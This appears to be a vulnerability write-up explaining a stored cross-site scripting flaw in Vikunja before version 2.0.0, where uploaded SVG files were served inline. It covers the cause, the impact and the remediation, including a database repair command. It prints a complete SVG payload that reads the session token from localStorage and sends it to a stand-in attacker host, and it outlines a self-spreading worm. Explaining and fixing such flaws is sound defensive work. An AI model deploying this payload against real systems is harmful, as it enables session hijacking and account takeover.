Vikunja's Vector of Doom: Stored XSS via SVG

Vikunja is the darling of the self-hosted productivity world. It’s a slick, modern way to organize your life, tasks, and projects. But as we've learned time and time again in web security, the more features you add to a file upload handler, the more likely you are to shoot yourself in the foot.

In versions prior to the massive 2.0.0 overhaul, Vikunja had a classic blind spot. It treated file uploads with a level of trust that borders on negligence. Specifically, it allowed users to upload Scalable Vector Graphics (SVG) files. To a developer, an SVG is just an image. To a browser, an SVG is a fully functional XML document capable of executing JavaScript.

This vulnerability isn't just a glitch; it's a fundamental misunderstanding of how browsers handle content types. By allowing users to upload these 'images' and then serving them back without strict security headers, Vikunja effectively granted every user the ability to host a malicious webpage on the application's domain.

The root cause here is a tale as old as the web: MIME Type Confusion and Content-Disposition failure.

When a server sends a file to a browser, it tells the browser what that file is via the Content-Type header. If the server says image/svg+xml, the browser sees an XML document. Unlike a PNG or JPEG, which are static binary blobs, an SVG is parsed by the browser's DOM engine. If that SVG contains a <script> tag, the browser executes it.

The only thing stopping this execution is the Content-Disposition header. If set to attachment, the browser forces a download, neutralizing the threat. Vikunja, however, was happy to serve these files inline. This meant that if you navigated to the URL of an uploaded attachment, the browser would render it directly in the viewport, executing any embedded payloads within the origin of the Vikunja instance.

To make matters worse, there appears to be a race condition in how files were processed or cached, creating a window where even files that should have been safe might be rendered incorrectly. It’s the perfect storm of trusting user input and trusting browser behavior.

Exploiting this is trivially easy for anyone with a basic text editor. We don't need buffer overflows or heap grooming here; we just need valid XML.

The attacker creates a file named payload.svg. Inside, they define a standard SVG structure but inject a JavaScript payload. Since Vikunja uses localStorage to persist session tokens (a common but risky practice), the attacker's script targets that specifically.

Here is the anatomy of the attack vector:

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
  <!-- A harmless looking shape to distract the user -->
  <rect width="300" height="100" style="fill:rgb(0,0,255);stroke-width:3;stroke:rgb(0,0,0)" />
  <script type="text/javascript">
    // The payload
    var token = localStorage.getItem('token');
    // Exfiltrate to attacker's server
    fetch('https://evil-server.com/collect?t=' + token);
    alert('Session hijacked!');
  </script>
</svg>

Once this file is uploaded to a task, the attacker simply shares the link or waits for a curious admin to view the attachments. The moment the admin clicks the file, the script runs, the token flies across the wire to the attacker, and the admin's session is cloned.

Why is this a high-severity issue (CVSS 7.3)? Because in a modern Single Page Application (SPA) like Vikunja, the frontend API token is the key to the kingdom.

1. Session Hijacking: With the exfiltrated token, the attacker can import it into their own browser and effectively become the victim without ever knowing their password.
2. Persistent Access: If the victim is an administrator, the attacker can create new admin accounts, change settings, or delete the entire database.
3. Wormability: The attacker could script the stolen session to automatically post the malicious SVG to every other project the victim has access to, creating a self-propagating XSS worm within the organization.

This isn't just about reading someone's grocery list; it's about compromising the integrity of the entire project management infrastructure.

The remediation in Vikunja v2.0.0 is two-fold: code changes and data repair.

First, the developers implemented strict MIME type enforcement. The application now correctly identifies SVG files and forces them to be treated as downloads (using Content-Disposition: attachment) rather than inline content. This prevents the browser from rendering the XML and executing the script.

Second, because existing files in the database are already tainted with the wrong metadata, a simple code update isn't enough. The developers provided a specific CLI command to scrub the database:

vikunja repair file-mime-types

This command iterates through the files table, re-evaluates the file signatures, and updates their stored MIME types to ensure the new security logic applies to old uploads. If you upgrade the binary but fail to run this command, you are leaving the back door unlocked.